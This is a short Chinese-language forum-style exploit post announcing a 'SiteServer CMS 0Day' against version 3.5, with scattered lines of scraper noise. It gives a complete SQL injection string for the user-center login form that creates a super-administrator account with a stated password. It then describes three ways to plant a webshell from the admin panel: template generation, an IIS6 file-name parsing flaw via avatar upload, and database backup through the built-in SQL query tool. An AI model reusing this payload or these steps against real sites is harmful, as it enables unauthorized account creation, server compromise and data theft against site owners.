SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
) W$ D! q: I9 |) F( M& b
stieserver官网:www.siteserver.cn

# S- L6 t5 [# G

EXP:

9 o4 @+ I2 l1 x直接访问UserCenter/login.aspx
* F7 h- o& X; B# ^% P0 @0 j


, P, F1 V5 X& `; J" `用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
7 g" }+ h. a7 |9 c  w


密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
* c8 k$ t; y; F' E- A8 V
# g3 }# ^$ M4 D1 I+ z" Z; N

之后再访问后台SiteServer/login.aspx用插入的用户登陆


! h8 c, @4 G3 P1 e) _
! I3 d" |, u- A$ Q. C后台拿webshell的三种方法：

一、
. z4 S* m% l, {7 M4 v. ?2 h) E
站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

二、
- o' b5 z  `8 @3 [  s* ?' H$ K
成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/
) ~% O$ U9 T- V3 _, j+ @# j
用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
3 |* T/ E, F0 f0 u! u8 V8 w- ?  ~" }
（ps：后台添加用户时不会验证是否含有非法字符）

. l$ g" G$ R5 b. F+ s4 q2 J三、

1 l5 ]# y  k9 T0 j6 o系统工具-》实用工具-》机器参数查看
可以看到数据库类型、名称，WEB路径
: J1 i% I2 u. T+ x
系统工具-》数据库工具-》SQL语句查询
4 u9 r& d  n( v: ^2 U- I0 e" h这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

3 e9 W3 B" c" Q( R2 ?" ]7 }